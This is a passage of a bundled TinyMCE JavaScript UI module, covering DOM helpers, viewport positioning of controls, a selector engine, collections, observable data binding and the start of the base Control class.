        return global$3.DOM.createFragment(html);
      },
      getWindowSize: function () {
        return global$3.DOM.getViewPort();
      },
      getSize: function (elm) {
        var width, height;
        if (elm.getBoundingClientRect) {
          var rect = elm.getBoundingClientRect();
          width = Math.max(rect.width || rect.right - rect.left, elm.offsetWidth);
          height = Math.max(rect.height || rect.bottom - rect.bottom, elm.offsetHeight);
        } else {
          width = elm.offsetWidth;
          height = elm.offsetHeight;
        }
        return {
          width: width,
          height: height
        };
      },
      getPos: function (elm, root) {
        return global$3.DOM.getPos(elm, root || funcs.getContainer());
      },
      getContainer: function () {
        return global$8.container ? global$8.container : domGlobals.document.body;
      },
      getViewPort: function (win) {
        return global$3.DOM.getViewPort(win);
      },
      get: function (id) {
        return domGlobals.document.getElementById(id);
      },
      addClass: function (elm, cls) {
        return global$3.DOM.addClass(elm, cls);
      },
      removeClass: function (elm, cls) {
        return global$3.DOM.removeClass(elm, cls);
      },
      hasClass: function (elm, cls) {
        return global$3.DOM.hasClass(elm, cls);
      },
      toggleClass: function (elm, cls, state) {
        return global$3.DOM.toggleClass(elm, cls, state);
      },
      css: function (elm, name, value) {
        return global$3.DOM.setStyle(elm, name, value);
      },
      getRuntimeStyle: function (elm, name) {
        return global$3.DOM.getStyle(elm, name, true);
      },
      on: function (target, name, callback, scope) {
        return global$3.DOM.bind(target, name, callback, scope);
      },
      off: function (target, name, callback) {
        return global$3.DOM.unbind(target, name, callback);
      },
      fire: function (target, name, args) {
        return global$3.DOM.fire(target, name, args);
      },
      innerHtml: function (elm, html) {
        global$3.DOM.setHTML(elm, html);
      }
    };

    var isStatic = function (elm) {
      return funcs.getRuntimeStyle(elm, 'position') === 'static';
    };
    var isFixed = function (ctrl) {
      return ctrl.state.get('fixed');
    };
    function calculateRelativePosition(ctrl, targetElm, rel) {
      var ctrlElm, pos, x, y, selfW, selfH, targetW, targetH, viewport, size;
      viewport = getWindowViewPort();
      pos = funcs.getPos(targetElm, UiContainer.getUiContainer(ctrl));
      x = pos.x;
      y = pos.y;
      if (isFixed(ctrl) && isStatic(domGlobals.document.body)) {
        x -= viewport.x;
        y -= viewport.y;
      }
      ctrlElm = ctrl.getEl();
      size = funcs.getSize(ctrlElm);
      selfW = size.width;
      selfH = size.height;
      size = funcs.getSize(targetElm);
      targetW = size.width;
      targetH = size.height;
      rel = (rel || '').split('');
      if (rel[0] === 'b') {
        y += targetH;
      }
      if (rel[1] === 'r') {
        x += targetW;
      }
      if (rel[0] === 'c') {
        y += Math.round(targetH / 2);
      }
      if (rel[1] === 'c') {
        x += Math.round(targetW / 2);
      }
      if (rel[3] === 'b') {
        y -= selfH;
      }
      if (rel[4] === 'r') {
        x -= selfW;
      }
      if (rel[3] === 'c') {
        y -= Math.round(selfH / 2);
      }
      if (rel[4] === 'c') {
        x -= Math.round(selfW / 2);
      }
      return {
        x: x,
        y: y,
        w: selfW,
        h: selfH
      };
    }
    var getUiContainerViewPort = function (customUiContainer) {
      return {
        x: 0,
        y: 0,
        w: customUiContainer.scrollWidth - 1,
        h: customUiContainer.scrollHeight - 1
      };
    };
    var getWindowViewPort = function () {
      var win = domGlobals.window;
      var x = Math.max(win.pageXOffset, domGlobals.document.body.scrollLeft, domGlobals.document.documentElement.scrollLeft);
      var y = Math.max(win.pageYOffset, domGlobals.document.body.scrollTop, domGlobals.document.documentElement.scrollTop);
      var w = win.innerWidth || domGlobals.document.documentElement.clientWidth;
      var h = win.innerHeight || domGlobals.document.documentElement.clientHeight;
      return {
        x: x,
        y: y,
        w: w,
        h: h
      };
    };
    var getViewPortRect = function (ctrl) {
      var customUiContainer = UiContainer.getUiContainer(ctrl);
      return customUiContainer && !isFixed(ctrl) ? getUiContainerViewPort(customUiContainer) : getWindowViewPort();
    };
    var Movable = {
      testMoveRel: function (elm, rels) {
        var viewPortRect = getViewPortRect(this);
        for (var i = 0; i < rels.length; i++) {
          var pos = calculateRelativePosition(this, elm, rels[i]);
          if (isFixed(this)) {
            if (pos.x > 0 && pos.x + pos.w < viewPortRect.w && pos.y > 0 && pos.y + pos.h < viewPortRect.h) {
              return rels[i];
            }
          } else {
            if (pos.x > viewPortRect.x && pos.x + pos.w < viewPortRect.w + viewPortRect.x && pos.y > viewPortRect.y && pos.y + pos.h < viewPortRect.h + viewPortRect.y) {
              return rels[i];
            }
          }
        }
        return rels[0];
      },
      moveRel: function (elm, rel) {
        if (typeof rel !== 'string') {
          rel = this.testMoveRel(elm, rel);
        }
        var pos = calculateRelativePosition(this, elm, rel);
        return this.moveTo(pos.x, pos.y);
      },
      moveBy: function (dx, dy) {
        var self = this, rect = self.layoutRect();
        self.moveTo(rect.x + dx, rect.y + dy);
        return self;
      },
      moveTo: function (x, y) {
        var self = this;
        function constrain(value, max, size) {
          if (value < 0) {
            return 0;
          }
          if (value + size > max) {
            value = max - size;
            return value < 0 ? 0 : value;
          }
          return value;
        }
        if (self.settings.constrainToViewport) {
          var viewPortRect = getViewPortRect(this);
          var layoutRect = self.layoutRect();
          x = constrain(x, viewPortRect.w + viewPortRect.x, layoutRect.w);
          y = constrain(y, viewPortRect.h + viewPortRect.y, layoutRect.h);
        }
        var uiContainer = UiContainer.getUiContainer(self);
        if (uiContainer && isStatic(uiContainer) && !isFixed(self)) {
          x -= uiContainer.scrollLeft;
          y -= uiContainer.scrollTop;
        }
        if (uiContainer) {
          x += 1;
          y += 1;
        }
        if (self.state.get('rendered')) {
          self.layoutRect({
            x: x,
            y: y
          }).repaint();
        } else {
          self.settings.x = x;
          self.settings.y = y;
        }
        self.fire('move', {
          x: x,
          y: y
        });
        return self;
      }
    };

    var global$a = tinymce.util.Tools.resolve('tinymce.util.Class');

    var global$b = tinymce.util.Tools.resolve('tinymce.util.EventDispatcher');

    var BoxUtils = {
      parseBox: function (value) {
        var len;
        var radix = 10;
        if (!value) {
          return;
        }
        if (typeof value === 'number') {
          value = value || 0;
          return {
            top: value,
            left: value,
            bottom: value,
            right: value
          };
        }
        value = value.split(' ');
        len = value.length;
        if (len === 1) {
          value[1] = value[2] = value[3] = value[0];
        } else if (len === 2) {
          value[2] = value[0];
          value[3] = value[1];
        } else if (len === 3) {
          value[3] = value[1];
        }
        return {
          top: parseInt(value[0], radix) || 0,
          right: parseInt(value[1], radix) || 0,
          bottom: parseInt(value[2], radix) || 0,
          left: parseInt(value[3], radix) || 0
        };
      },
      measureBox: function (elm, prefix) {
        function getStyle(name) {
          var defaultView = elm.ownerDocument.defaultView;
          if (defaultView) {
            var computedStyle = defaultView.getComputedStyle(elm, null);
            if (computedStyle) {
              name = name.replace(/[A-Z]/g, function (a) {
                return '-' + a;
              });
              return computedStyle.getPropertyValue(name);
            } else {
              return null;
            }
          }
          return elm.currentStyle[name];
        }
        function getSide(name) {
          var val = parseFloat(getStyle(name));
          return isNaN(val) ? 0 : val;
        }
        return {
          top: getSide(prefix + 'TopWidth'),
          right: getSide(prefix + 'RightWidth'),
          bottom: getSide(prefix + 'BottomWidth'),
          left: getSide(prefix + 'LeftWidth')
        };
      }
    };

    function noop$1() {
    }
    function ClassList(onchange) {
      this.cls = [];
      this.cls._map = {};
      this.onchange = onchange || noop$1;
      this.prefix = '';
    }
    global$2.extend(ClassList.prototype, {
      add: function (cls) {
        if (cls && !this.contains(cls)) {
          this.cls._map[cls] = true;
          this.cls.push(cls);
          this._change();
        }
        return this;
      },
      remove: function (cls) {
        if (this.contains(cls)) {
          var i = void 0;
          for (i = 0; i < this.cls.length; i++) {
            if (this.cls[i] === cls) {
              break;
            }
          }
          this.cls.splice(i, 1);
          delete this.cls._map[cls];
          this._change();
        }
        return this;
      },
      toggle: function (cls, state) {
        var curState = this.contains(cls);
        if (curState !== state) {
          if (curState) {
            this.remove(cls);
          } else {
            this.add(cls);
          }
          this._change();
        }
        return this;
      },
      contains: function (cls) {
        return !!this.cls._map[cls];
      },
      _change: function () {
        delete this.clsValue;
        this.onchange.call(this);
      }
    });
    ClassList.prototype.toString = function () {
      var value;
      if (this.clsValue) {
        return this.clsValue;
      }
      value = '';
      for (var i = 0; i < this.cls.length; i++) {
        if (i > 0) {
          value += ' ';
        }
        value += this.prefix + this.cls[i];
      }
      return value;
    };

    function unique(array) {
      var uniqueItems = [];
      var i = array.length, item;
      while (i--) {
        item = array[i];
        if (!item.__checked) {
          uniqueItems.push(item);
          item.__checked = 1;
        }
      }
      i = uniqueItems.length;
      while (i--) {
        delete uniqueItems[i].__checked;
      }
      return uniqueItems;
    }
    var expression = /^([\w\\*]+)?(?:#([\w\-\\]+))?(?:\.([\w\\\.]+))?(?:\[\@?([\w\\]+)([\^\$\*!~]?=)([\w\\]+)\])?(?:\:(.+))?/i;
    var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;
    var whiteSpace = /^\s*|\s*$/g;
    var Collection;
    var Selector = global$a.extend({
      init: function (selector) {
        var match = this.match;
        function compileNameFilter(name) {
          if (name) {
            name = name.toLowerCase();
            return function (item) {
              return name === '*' || item.type === name;
            };
          }
        }
        function compileIdFilter(id) {
          if (id) {
            return function (item) {
              return item._name === id;
            };
          }
        }
        function compileClassesFilter(classes) {
          if (classes) {
            classes = classes.split('.');
            return function (item) {
              var i = classes.length;
              while (i--) {
                if (!item.classes.contains(classes[i])) {
                  return false;
                }
              }
              return true;
            };
          }
        }
        function compileAttrFilter(name, cmp, check) {
          if (name) {
            return function (item) {
              var value = item[name] ? item[name]() : '';
              return !cmp ? !!check : cmp === '=' ? value === check : cmp === '*=' ? value.indexOf(check) >= 0 : cmp === '~=' ? (' ' + value + ' ').indexOf(' ' + check + ' ') >= 0 : cmp === '!=' ? value !== check : cmp === '^=' ? value.indexOf(check) === 0 : cmp === '$=' ? value.substr(value.length - check.length) === check : false;
            };
          }
        }
        function compilePsuedoFilter(name) {
          var notSelectors;
          if (name) {
            name = /(?:not\((.+)\))|(.+)/i.exec(name);
            if (!name[1]) {
              name = name[2];
              return function (item, index, length) {
                return name === 'first' ? index === 0 : name === 'last' ? index === length - 1 : name === 'even' ? index % 2 === 0 : name === 'odd' ? index % 2 === 1 : item[name] ? item[name]() : false;
              };
            }
            notSelectors = parseChunks(name[1], []);
            return function (item) {
              return !match(item, notSelectors);
            };
          }
        }
        function compile(selector, filters, direct) {
          var parts;
          function add(filter) {
            if (filter) {
              filters.push(filter);
            }
          }
          parts = expression.exec(selector.replace(whiteSpace, ''));
          add(compileNameFilter(parts[1]));
          add(compileIdFilter(parts[2]));
          add(compileClassesFilter(parts[3]));
          add(compileAttrFilter(parts[4], parts[5], parts[6]));
          add(compilePsuedoFilter(parts[7]));
          filters.pseudo = !!parts[7];
          filters.direct = direct;
          return filters;
        }
        function parseChunks(selector, selectors) {
          var parts = [];
          var extra, matches, i;
          do {
            chunker.exec('');
            matches = chunker.exec(selector);
            if (matches) {
              selector = matches[3];
              parts.push(matches[1]);
              if (matches[2]) {
                extra = matches[3];
                break;
              }
            }
          } while (matches);
          if (extra) {
            parseChunks(extra, selectors);
          }
          selector = [];
          for (i = 0; i < parts.length; i++) {
            if (parts[i] !== '>') {
              selector.push(compile(parts[i], [], parts[i - 1] === '>'));
            }
          }
          selectors.push(selector);
          return selectors;
        }
        this._selectors = parseChunks(selector, []);
      },
      match: function (control, selectors) {
        var i, l, si, sl, selector, fi, fl, filters, index, length, siblings, count, item;
        selectors = selectors || this._selectors;
        for (i = 0, l = selectors.length; i < l; i++) {
          selector = selectors[i];
          sl = selector.length;
          item = control;
          count = 0;
          for (si = sl - 1; si >= 0; si--) {
            filters = selector[si];
            while (item) {
              if (filters.pseudo) {
                siblings = item.parent().items();
                index = length = siblings.length;
                while (index--) {
                  if (siblings[index] === item) {
                    break;
                  }
                }
              }
              for (fi = 0, fl = filters.length; fi < fl; fi++) {
                if (!filters[fi](item, index, length)) {
                  fi = fl + 1;
                  break;
                }
              }
              if (fi === fl) {
                count++;
                break;
              } else {
                if (si === sl - 1) {
                  break;
                }
              }
              item = item.parent();
            }
          }
          if (count === sl) {
            return true;
          }
        }
        return false;
      },
      find: function (container) {
        var matches = [], i, l;
        var selectors = this._selectors;
        function collect(items, selector, index) {
          var i, l, fi, fl, item;
          var filters = selector[index];
          for (i = 0, l = items.length; i < l; i++) {
            item = items[i];
            for (fi = 0, fl = filters.length; fi < fl; fi++) {
              if (!filters[fi](item, i, l)) {
                fi = fl + 1;
                break;
              }
            }
            if (fi === fl) {
              if (index === selector.length - 1) {
                matches.push(item);
              } else {
                if (item.items) {
                  collect(item.items(), selector, index + 1);
                }
              }
            } else if (filters.direct) {
              return;
            }
            if (item.items) {
              collect(item.items(), selector, index);
            }
          }
        }
        if (container.items) {
          for (i = 0, l = selectors.length; i < l; i++) {
            collect(container.items(), selectors[i], 0);
          }
          if (l > 1) {
            matches = unique(matches);
          }
        }
        if (!Collection) {
          Collection = Selector.Collection;
        }
        return new Collection(matches);
      }
    });

    var Collection$1, proto;
    var push = Array.prototype.push, slice = Array.prototype.slice;
    proto = {
      length: 0,
      init: function (items) {
        if (items) {
          this.add(items);
        }
      },
      add: function (items) {
        var self = this;
        if (!global$2.isArray(items)) {
          if (items instanceof Collection$1) {
            self.add(items.toArray());
          } else {
            push.call(self, items);
          }
        } else {
          push.apply(self, items);
        }
        return self;
      },
      set: function (items) {
        var self = this;
        var len = self.length;
        var i;
        self.length = 0;
        self.add(items);
        for (i = self.length; i < len; i++) {
          delete self[i];
        }
        return self;
      },
      filter: function (selector) {
        var self = this;
        var i, l;
        var matches = [];
        var item, match;
        if (typeof selector === 'string') {
          selector = new Selector(selector);
          match = function (item) {
            return selector.match(item);
          };
        } else {
          match = selector;
        }
        for (i = 0, l = self.length; i < l; i++) {
          item = self[i];
          if (match(item)) {
            matches.push(item);
          }
        }
        return new Collection$1(matches);
      },
      slice: function () {
        return new Collection$1(slice.apply(this, arguments));
      },
      eq: function (index) {
        return index === -1 ? this.slice(index) : this.slice(index, +index + 1);
      },
      each: function (callback) {
        global$2.each(this, callback);
        return this;
      },
      toArray: function () {
        return global$2.toArray(this);
      },
      indexOf: function (ctrl) {
        var self = this;
        var i = self.length;
        while (i--) {
          if (self[i] === ctrl) {
            break;
          }
        }
        return i;
      },
      reverse: function () {
        return new Collection$1(global$2.toArray(this).reverse());
      },
      hasClass: function (cls) {
        return this[0] ? this[0].classes.contains(cls) : false;
      },
      prop: function (name, value) {
        var self = this;
        var item;
        if (value !== undefined) {
          self.each(function (item) {
            if (item[name]) {
              item[name](value);
            }
          });
          return self;
        }
        item = self[0];
        if (item && item[name]) {
          return item[name]();
        }
      },
      exec: function (name) {
        var self = this, args = global$2.toArray(arguments).slice(1);
        self.each(function (item) {
          if (item[name]) {
            item[name].apply(item, args);
          }
        });
        return self;
      },
      remove: function () {
        var i = this.length;
        while (i--) {
          this[i].remove();
        }
        return this;
      },
      addClass: function (cls) {
        return this.each(function (item) {
          item.classes.add(cls);
        });
      },
      removeClass: function (cls) {
        return this.each(function (item) {
          item.classes.remove(cls);
        });
      }
    };
    global$2.each('fire on off show hide append prepend before after reflow'.split(' '), function (name) {
      proto[name] = function () {
        var args = global$2.toArray(arguments);
        this.each(function (ctrl) {
          if (name in ctrl) {
            ctrl[name].apply(ctrl, args);
          }
        });
        return this;
      };
    });
    global$2.each('text name disabled active selected checked visible parent value data'.split(' '), function (name) {
      proto[name] = function (value) {
        return this.prop(name, value);
      };
    });
    Collection$1 = global$a.extend(proto);
    Selector.Collection = Collection$1;
    var Collection$2 = Collection$1;

    var Binding = function (settings) {
      this.create = settings.create;
    };
    Binding.create = function (model, name) {
      return new Binding({
        create: function (otherModel, otherName) {
          var bindings;
          var fromSelfToOther = function (e) {
            otherModel.set(otherName, e.value);
          };
          var fromOtherToSelf = function (e) {
            model.set(name, e.value);
          };
          otherModel.on('change:' + otherName, fromOtherToSelf);
          model.on('change:' + name, fromSelfToOther);
          bindings = otherModel._bindings;
          if (!bindings) {
            bindings = otherModel._bindings = [];
            otherModel.on('destroy', function () {
              var i = bindings.length;
              while (i--) {
                bindings[i]();
              }
            });
          }
          bindings.push(function () {
            model.off('change:' + name, fromSelfToOther);
          });
          return model.get(name);
        }
      });
    };

    var global$c = tinymce.util.Tools.resolve('tinymce.util.Observable');

    function isNode(node) {
      return node.nodeType > 0;
    }
    function isEqual(a, b) {
      var k, checked;
      if (a === b) {
        return true;
      }
      if (a === null || b === null) {
        return a === b;
      }
      if (typeof a !== 'object' || typeof b !== 'object') {
        return a === b;
      }
      if (global$2.isArray(b)) {
        if (a.length !== b.length) {
          return false;
        }
        k = a.length;
        while (k--) {
          if (!isEqual(a[k], b[k])) {
            return false;
          }
        }
      }
      if (isNode(a) || isNode(b)) {
        return a === b;
      }
      checked = {};
      for (k in b) {
        if (!isEqual(a[k], b[k])) {
          return false;
        }
        checked[k] = true;
      }
      for (k in a) {
        if (!checked[k] && !isEqual(a[k], b[k])) {
          return false;
        }
      }
      return true;
    }
    var ObservableObject = global$a.extend({
      Mixins: [global$c],
      init: function (data) {
        var name, value;
        data = data || {};
        for (name in data) {
          value = data[name];
          if (value instanceof Binding) {
            data[name] = value.create(this, name);
          }
        }
        this.data = data;
      },
      set: function (name, value) {
        var key, args;
        var oldValue = this.data[name];
        if (value instanceof Binding) {
          value = value.create(this, name);
        }
        if (typeof name === 'object') {
          for (key in name) {
            this.set(key, name[key]);
          }
          return this;
        }
        if (!isEqual(oldValue, value)) {
          this.data[name] = value;
          args = {
            target: this,
            name: name,
            value: value,
            oldValue: oldValue
          };
          this.fire('change:' + name, args);
          this.fire('change', args);
        }
        return this;
      },
      get: function (name) {
        return this.data[name];
      },
      has: function (name) {
        return name in this.data;
      },
      bind: function (name) {
        return Binding.create(this, name);
      },
      destroy: function () {
        this.fire('destroy');
      }
    });

    var dirtyCtrls = {}, animationFrameRequested;
    var ReflowQueue = {
      add: function (ctrl) {
        var parent = ctrl.parent();
        if (parent) {
          if (!parent._layout || parent._layout.isNative()) {
            return;
          }
          if (!dirtyCtrls[parent._id]) {
            dirtyCtrls[parent._id] = parent;
          }
          if (!animationFrameRequested) {
            animationFrameRequested = true;
            global$7.requestAnimationFrame(function () {
              var id, ctrl;
              animationFrameRequested = false;
              for (id in dirtyCtrls) {
                ctrl = dirtyCtrls[id];
                if (ctrl.state.get('rendered')) {
                  ctrl.reflow();
                }
              }
              dirtyCtrls = {};
            }, domGlobals.document.body);
          }
        }
      },
      remove: function (ctrl) {
        if (dirtyCtrls[ctrl._id]) {
          delete dirtyCtrls[ctrl._id];
        }
      }
    };

    var hasMouseWheelEventSupport = 'onmousewheel' in domGlobals.document;
    var hasWheelEventSupport = false;
    var classPrefix = 'mce-';
    var Control, idCounter = 0;
    var proto$1 = {
      Statics: { classPrefix: classPrefix },
      isRtl: function () {
        return Control.rtl;
      },
      classPrefix: classPrefix,
      init: function (settings) {
        var self = this;
        var classes, defaultClasses;
        function applyClasses(classes) {
          var i;
          classes = classes.split(' ');
          for (i = 0; i < classes.length; i++) {
            self.classes.add(classes[i]);
          }
        }
        self.settings = settings = global$2.extend({}, self.Defaults, settings);
        self._id = settings.id || 'mceu_' + idCounter++;
        self._aria = { role: settings.role };
        self._elmCache = {};
        self.$ = global$9;
        self.state = new ObservableObject({
          visible: true,
          active: false,
          disabled: false,
          value: ''
        });
        self.data = new ObservableObject(settings.data);
        self.classes = new ClassList(function () {
          if (self.state.get('rendered')) {
            self.getEl().className = this.toString();
          }
        });
        self.classes.prefix = self.classPrefix;
        classes = settings.classes;
        if (classes) {
          if (self.Defaults) {
            defaultClasses = self.Defaults.classes;
            if (defaultClasses && classes !== defaultClasses) {
              applyClasses(defaultClasses);
            }
          }
          applyClasses(classes);
        }
        global$2.each('title text name visible disabled active value'.split(' '), function (name) {
          if (name in settings) {
            self[name](settings[name]);
          }
        });
        self.on('click', function () {
          if (self.disabled()) {
            return false;
          }
        });
        self.settings = settings;
        self.borderBox = BoxUtils.parseBox(settings.border);
        self.paddingBox = BoxUtils.parseBox(settings.padding);
        self.marginBox = BoxUtils.parseBox(settings.margin);
        if (settings.hidden) {
          self.hide();
        }
      },
      Properties: 'parent,name',
      getContainerElm: function () {
        var uiContainer = UiContainer.getUiContainer(this);
        return uiContainer ? uiContainer : funcs.getContainer();
      },
      getParentCtrl: function (elm) {
        var ctrl;
        var lookup = this.getRoot().controlIdLookup;
        while (elm && lookup) {
          ctrl = lookup[elm.id];
          if (ctrl) {
            break;
          }
          elm = elm.parentNode;
        }
        return ctrl;
      },
      initLayoutRect: function () {
        var self = this;
        var settings = self.settings;
        var borderBox, layoutRect;
        var elm = self.getEl();
        var width, height, minWidth, minHeight, autoResize;
        var startMinWidth, startMinHeight, initialSize;
        borderBox = self.borderBox = self.borderBox || BoxUtils.measureBox(elm, 'border');
        self.paddingBox = self.paddingBox || BoxUtils.measureBox(elm, 'padding');
        self.marginBox = self.marginBox || BoxUtils.measureBox(elm, 'margin');
        initialSize = funcs.getSize(elm);
        startMinWidth = settings.minWidth;
        startMinHeight = settings.minHeight;
        minWidth = startMinWidth || initialSize.width;
        minHeight = startMinHeight || initialSize.height;
        width = settings.width;
        height = settings.height;
        autoResize = settings.autoResize;
        autoResize = typeof autoResize !== 'undefined' ? autoResize : !width && !height;
        width = width || minWidth;
        height = height || minHeight;
        var deltaW = borderBox.left + borderBox.right;
        var deltaH = borderBox.top + borderBox.bottom;
        var maxW = settings.maxWidth || 65535;
        var maxH = settings.maxHeight || 65535;
        self._layoutRect = layoutRect = {
          x: settings.x || 0,
          y: settings.y || 0,
          w: width,
          h: height,
          deltaW: deltaW,
          deltaH: deltaH,
          contentW: width - deltaW,
          contentH: height - deltaH,
          innerW: width - deltaW,
          innerH: height - deltaH,
          startMinWidth: startMinWidth || 0,
          startMinHeight: startMinHeight || 0,
          minW: Math.min(minWidth, maxW),
          minH: Math.min(minHeight, maxH),
          maxW: maxW,
          maxH: maxH,
          autoResize: autoResize,
          scrollW: 0
        };
        self._lastLayoutRect = {};
        return layoutRect;
      },
      layoutRect: function (newRect) {
        var self = this;
        var curRect = self._layoutRect, lastLayoutRect, size, deltaWidth, deltaHeight, repaintControls;
        if (!curRect) {
          curRect = self.initLayoutRect();
        }
        if (newRect) {
          deltaWidth = curRect.deltaW;
          deltaHeight = curRect.deltaH;
          if (newRect.x !== undefined) {
            curRect.x = newRect.x;
          }
          if (newRect.y !== undefined) {
            curRect.y = newRect.y;
          }
          if (newRect.minW !== undefined) {
            curRect.minW = newRect.minW;
          }
          if (newRect.minH !== undefined) {
            curRect.minH = newRect.minH;
          }
          size = newRect.w;
          if (size !== undefined) {
            size = size < curRect.minW ? curRect.minW : size;
            size = size > curRect.maxW ? curRect.maxW : size;
            curRect.w = size;
            curRect.innerW = size - deltaWidth;
          }
          size = newRect.h;
          if (size !== undefined) {
            size = size < curRect.minH ? curRect.minH : size;
            size = size > curRect.maxH ? curRect.maxH : size;
            curRect.h = size;
            curRect.innerH = size - deltaHeight;
          }
          size = newRect.innerW;
          if (size !== undefined) {
            size = size < curRect.minW - deltaWidth ? curRect.minW - deltaWidth : size;
            size = size > curRect.maxW - deltaWidth ? curRect.maxW - deltaWidth : size;
            curRect.innerW = size;
            curRect.w = size + deltaWidth;
          }
          size = newRect.innerH;
          if (size !== undefined) {
            size = size < curRect.minH - deltaHeight ? curRect.minH - deltaHeight : size;
            size = size > curRect.maxH - deltaHeight ? curRect.maxH - deltaHeight : size;
            curRect.innerH = size;
            curRect.h = size + deltaHeight;
          }
          if (newRect.contentW !== undefined) {
            curRect.contentW = newRect.contentW;
          }
          if (newRect.contentH !== undefined) {
            curRect.contentH = newRect.contentH;
          }
          lastLayoutRect = self._lastLayoutRect;
          if (lastLayoutRect.x !== curRect.x || lastLayoutRect.y !== curRect.y || lastLayoutRect.w !== curRect.w || lastLayoutRect.h !== curRect.h) {
            repaintControls = Control.repaintControls;
            if (repaintControls) {
              if (repaintControls.map && !repaintControls.map[self._id]) {
                repaintControls.push(self);
                repaintControls.map[self._id] = true;
              }
            }
            lastLayoutRect.x = curRect.x;
            lastLayoutRect.y = curRect.y;
            lastLayoutRect.w = curRect.w;
            lastLayoutRect.h = curRect.h;
          }
          return self;
        }
        return curRect;
      },
      repaint: function () {
        var self = this;
        var style, bodyStyle, bodyElm, rect, borderBox;
        var borderW, borderH, lastRepaintRect, round, value;
        round = !domGlobals.document.createRange ? Math.round : function (value) {
          return value;
        };
        style = self.getEl().style;
        rect = self._layoutRect;
        lastRepaintRect = self._lastRepaintRect || {};
        borderBox = self.borderBox;
        borderW = borderBox.left + borderBox.right;
        borderH = borderBox.top + borderBox.bottom;
        if (rect.x !== lastRepaintRect.x) {
          style.left = round(rect.x) + 'px';
          lastRepaintRect.x = rect.x;
        }
        if (rect.y !== lastRepaintRect.y) {
          style.top = round(rect.y) + 'px';
          lastRepaintRect.y = rect.y;
        }
        if (rect.w !== lastRepaintRect.w) {
          value = round(rect.w - borderW);
          style.width = (value >= 0 ? value : 0) + 'px';
          lastRepaintRect.w = rect.w;
        }
        if (rect.h !== lastRepaintRect.h) {
          value = round(rect.h - borderH);
          style.height = (value >= 0 ? value : 0) + 'px';
          lastRepaintRect.h = rect.h;
        }
        if (self._hasBody && rect.innerW !== lastRepaintRect.innerW) {
          value = round(rect.innerW);
          bodyElm = self.getEl('body');
          if (bodyElm) {
            bodyStyle = bodyElm.style;
            bodyStyle.width = (value >= 0 ? value : 0) + 'px';
          }
          lastRepaintRect.innerW = rect.innerW;
        }
        if (self._hasBody && rect.innerH !== lastRepaintRect.innerH) {
          value = round(rect.innerH);
          bodyElm = bodyElm || self.getEl('body');
          if (bodyElm) {
            bodyStyle = bodyStyle || bodyElm.style;
            bodyStyle.height = (value >= 0 ? value : 0) + 'px';
          }
          lastRepaintRect.innerH = rect.innerH;
        }
        self._lastRepaintRect = lastRepaintRect;
        self.fire('repaint', {}, false);
      },
      updateLayoutRect: function () {
        var self = this;
        self.parent()._lastRect = null;
        funcs.css(self.getEl(), {
          width: '',
          height: ''
        });
        self._layoutRect = self._lastRepaintRect = self._lastLayoutRect = null;
        self.initLayoutRect();
      },
      on: function (name, callback) {
        var self = this;
        function resolveCallbackName(name) {
          var callback, scope;
          if (typeof name !== 'string') {
            return name;
          }
          return function (e) {
            if (!callback) {
              self.parentsAndSelf().each(function (ctrl) {
                var callbacks = ctrl.settings.callbacks;
                if (callbacks && (callback = callbacks[name])) {
                  scope = ctrl;
                  return false;
                }
              });
            }
            if (!callback) {
              e.action = name;
              this.fire('execute', e);
              return;
            }
            return callback.call(scope, e);
          };
        }
        getEventDispatcher(self).on(name, resolveCallbackName(callback));
        return self;
      },
      off: function (name, callback) {
        getEventDispatcher(this).off(name, callback);
        return this;
      },
      fire: function (name, args, bubble) {
        var self = this;
        args = args || {};
        if (!args.control) {
          args.control = self;
        }
        args = getEventDispatcher(self).fire(name, args);
        if (bubble !== false && self.parent) {
          var parent = self.parent();
          while (parent && !args.isPropagationStopped()) {
            parent.fire(name, args, false);
            parent = parent.parent();
          }
        }
        return args;
      },
      hasEventListeners: function (name) {
        return getEventDispatcher(this).has(name);
      },
      parents: function (selector) {
        var self = this;
        var ctrl, parents = new Collection$2();
        for (ctrl = self.parent(); ctrl; ctrl = ctrl.parent()) {
          parents.add(ctrl);
        }
        if (selector) {
          parents = parents.filter(selector);
        }
        return parents;
      },
      parentsAndSelf: function (selector) {
        return new Collection$2(this).add(this.parents(selector));
      },
      next: function () {
        var parentControls = this.parent().items();
        return parentControls[parentControls.indexOf(this) + 1];
      },
      prev: function () {
        var parentControls = this.parent().items();
        return parentControls[parentControls.indexOf(this) - 1];
      },
      innerHtml: function (html) {
        this.$el.html(html);
        return this;
      },
      getEl: function (suffix) {
        var id = suffix ? this._id + '-' + suffix : this._id;
        if (!this._elmCache[id]) {
          this._elmCache[id] = global$9('#' + id)[0];
        }
        return this._elmCache[id];
      },
      show: function () {
        return this.visible(true);
      },
      hide: function () {
        return this.visible(false);
      },
      focus: function () {
        try {
          this.getEl().focus();
        } catch (ex) {
        }
        return this;
      },
      blur: function () {
        this.getEl().blur();
        return this;
      },
      aria: function (name, value) {
        var self = this, elm = self.getEl(self.ariaTarget);
        if (typeof value === 'undefined') {
          return self._aria[name];
        }
        self._aria[name] = value;
        if (self.state.get('rendered')) {
          elm.setAttribute(name === 'role' ? name : 'aria-' + name, value);
        }
        return self;
      },
      encode: function (text, translate) {
        if (translate !== false) {
          text = this.translate(text);
        }
        return (text || '').replace(/[&<>"]/g, function (match) {
          return '&#' + match.charCodeAt(0) + ';';
        });
      },
      translate: function (text) {
        return Control.translate ? Control.translate(text) : text;
      },
      before: function (items) {
        var self = this, parent = self.parent();
        if (parent) {
          parent.insert(items, parent.items().indexOf(self), true);
        }
        return self;
      },
      after: function (items) {
        var self = this, parent = self.parent();
        if (parent) {
          parent.insert(items, parent.items().indexOf(self));
        }
        return self;
      },
      remove: function () {
        var self = this;
        var elm = self.getEl();
        var parent = self.parent();
        var newItems, i;
        if (self.items) {
          var controls = self.items().toArray();
          i = controls.length;
          while (i--) {
            controls[i].remove();
          }
        }
        if (parent && parent.items) {
          newItems = [];
          parent.items().each(function (item) {
            if (item !== self) {
              newItems.push(item);
            }
          });
          parent.items().set(newItems);
          parent._lastRect = null;
        }
        if (self._eventsRoot && self._eventsRoot === self) {
          global$9(elm).off();
        }
        var lookup = self.getRoot().controlIdLookup;
        if (lookup) {
          delete lookup[self._id];
        }
        if (elm && elm.parentNode) {
          elm.parentNode.removeChild(elm);
        }
        self.state.set('rendered', false);
        self.state.destroy();
        self.fire('remove');
        return self;
      },
      renderBefore: function (elm) {
